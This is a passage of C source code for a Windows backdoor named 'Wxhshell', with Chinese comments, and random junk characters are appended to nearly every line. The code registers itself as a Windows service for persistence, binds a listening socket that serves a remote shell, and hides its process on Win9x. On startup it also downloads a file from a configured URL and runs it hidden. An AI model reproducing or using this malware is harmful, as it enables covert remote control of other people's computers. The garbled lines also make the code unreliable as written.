DWORD PebBaseAddress; z*[Z:
DWORD AffinityMask; j{Fo 6##
DWORD BasePriority; 5Q}@Y3 i=
ULONG UniqueProcessId; 2$ rq
ULONG InheritedFromUniqueProcessId; y d$37G|n
} PROCESS_BASIC_INFORMATION; 2Ls<OO
&4[iC/}
PROCNTQSIP NtQueryInformationProcess; 1<p"z,c
E>1USKxn
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; UK<"|2^sT
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ;
]\e zES
3U`.:w`
HANDLE hProcess; E{ ,O}
PROCESS_BASIC_INFORMATION pbi; an2Tc*=~l(
Vi|jkyC8
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); m #eD v*
if(NULL == hInst ) return 0; yEny2q}
e4b~s
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Mww]l[1'EL
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); D{l((t3=T
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); .0|J+D
yW&iUh=0
if (!NtQueryInformationProcess) return 0; j&pgq2Kl
E)E!
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); !T{g& f
if(!hProcess) return 0; >D;hT*3
e`rY]X
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; RVsN r
rZ
M Sj0D2H
CloseHandle(hProcess); _YS+{0
Vq%
dW`D?$(@,
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); \}=b/FL=U
if(hProcess==NULL) return 0; y{]%,
}sU\6~
HMODULE hMod; KV*:,>
char procName[255]; B# fzMaC
unsigned long cbNeeded; 1X*T219o
Jq#Cn+zW
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); l}2WW1b(
a=FRJQ8S
CloseHandle(hProcess); @^%_ir(
v^pP&
<G
if(strstr(procName,"services")) return 1; // 以服务启动 kI'A`
/Bl
`[\phv
return 0; // 注册表启动 ^-!HbbVv
} "/fs%F
h;KK6*Z*$E
// 主模块 S\ZAcz4
int StartWxhshell(LPSTR lpCmdLine) NLl~/smMS
{ wVOL7vh
SOCKET wsl; iL, XBoE
BOOL val=TRUE; Fzs'@*
int port=0; Fc~w`~tv
struct sockaddr_in door; H=#Jg;_w
}A7qIys$4
if(wscfg.ws_autoins) Install(); /8>/"Z2S
^gyp-
!
port=atoi(lpCmdLine); y^\#bpq&\
@RIEO%S
if(port<=0) port=wscfg.ws_port; Cpcd`y=IN
0AKwZ'
&H
WSADATA data; E3skC%}
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; |mmG
s
1}E@lOc
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;
A*~1Uz\t
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); lKUm_; m
door.sin_family = AF_INET; %},G(>
door.sin_addr.s_addr = inet_addr("127.0.0.1"); ]P$DAi
door.sin_port = htons(port); <\g&%c,
~,68S^nP)H
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { @t8kN6.
closesocket(wsl); ~bTae =FP
return 1; -<!17jy
} 1>VS/H`
p8d n-4
if(listen(wsl,2) == INVALID_SOCKET) { c$kb0VR
closesocket(wsl); ON0+:`3\
return 1; Q;/F0JDH
} Ch9!AUiR
Wxhshell(wsl); Sp,Q,Q4
WSACleanup(); %i>e
|S:!+[
return 0; xPup?oP >
-0da"AB
} oB
R(7U~0
MK"
// 以NT服务方式启动 Zw][c7%
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) &AcFa<U
{ #L:P
R>
DWORD status = 0; "q^'5p]
DWORD specificError = 0xfffffff; &vX!7Y
V )k, 9=
serviceStatus.dwServiceType = SERVICE_WIN32; y32++b!
serviceStatus.dwCurrentState = SERVICE_START_PENDING; MW~B[%/
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 9[{>JRm.
serviceStatus.dwWin32ExitCode = 0; aijGz<
serviceStatus.dwServiceSpecificExitCode = 0; LIC~Kehi
serviceStatus.dwCheckPoint = 0; l\;mP.!
serviceStatus.dwWaitHint = 0; Jx$#GUl#j
Ygi1"X}
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); FP'lEp
if (hServiceStatusHandle==0) return; 1`]IU_) 1B
<-:@} |br
status = GetLastError(); 7EP|X.
if (status!=NO_ERROR) 4)+IO;
{ Gj19KQ1G
serviceStatus.dwCurrentState = SERVICE_STOPPED; a@y5JxFAy
serviceStatus.dwCheckPoint = 0; !NLvo_[Y
serviceStatus.dwWaitHint = 0; DsJn#>?Kh
serviceStatus.dwWin32ExitCode = status; zk'K.!
`^
serviceStatus.dwServiceSpecificExitCode = specificError; J.mewD!%z
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ioNa~F&
return; pJIE@Q|hi
} _*ouo<x
p?$G>nkdq
serviceStatus.dwCurrentState = SERVICE_RUNNING; R:OU>HsdX
serviceStatus.dwCheckPoint = 0; } .3]
serviceStatus.dwWaitHint = 0; QrckTO
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); .k,Jt+
} )ko{S[gG
@" 0tW:
// 处理NT服务事件,比如:启动、停止 :~3{oZGX&
VOID WINAPI NTServiceHandler(DWORD fdwControl) f\);HJbg
{ M"5!s,
switch(fdwControl) XyM(@6,'
{ d&T6p&V$
case SERVICE_CONTROL_STOP: 4:Xj-l^D
serviceStatus.dwWin32ExitCode = 0; `}~)1'(#/
serviceStatus.dwCurrentState = SERVICE_STOPPED; rW~?0
serviceStatus.dwCheckPoint = 0; sh(kRrdY3
serviceStatus.dwWaitHint = 0; *rn]/w8ZW
{ .z$Sm
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3P#+)
F~
} 5`"*y iv
return; $FQcDo|[
case SERVICE_CONTROL_PAUSE: xw+<p
serviceStatus.dwCurrentState = SERVICE_PAUSED; Km9}^*Mo%
break; |3,yq^2
case SERVICE_CONTROL_CONTINUE: 5+bFy.UW
serviceStatus.dwCurrentState = SERVICE_RUNNING; w,![;wG
break; df>kEvU5.^
case SERVICE_CONTROL_INTERROGATE: |Sr\jUIWn
break; 3 "l
F
}; 5B>Q6
SetServiceStatus(hServiceStatusHandle, &serviceStatus); jemxky
} 6I&j
cHH
+t>*l>[
// 标准应用程序主函数 UOu6LD/|h
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 6c2ThtL
{ n4WSV
"VDk1YX_&l
// 获取操作系统版本 G&@-R{i
OsIsNt=GetOsVer(); I[=Wmxa?r
GetModuleFileName(NULL,ExeFile,MAX_PATH); nGx ~)T
Ep<!zO|
// 从命令行安装 QP$nDK<
if(strpbrk(lpCmdLine,"iI")) Install(); s`#ntset0
4\1wyN /}M
// 下载执行文件 ~Un64M?
if(wscfg.ws_downexe) { DhWWN>I
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) D(qHf9
WinExec(wscfg.ws_filenam,SW_HIDE); J&63Z
} }2Cd1RnS
CO:*x,6au
if(!OsIsNt) { gHvW
e
// 如果时win9x,隐藏进程并且设置为注册表启动 #juGD9e
HideProc(); rkfQr9Vc
StartWxhshell(lpCmdLine); 9V=<| 2
}
8>Du
else /[Bl
if(StartFromService()) }%!FMXe
// 以服务方式启动 Lf^5Eo/
5A
StartServiceCtrlDispatcher(DispatchTable); (Bt;DM#>
else J[}gku?C;
// 普通方式启动 &;ZC<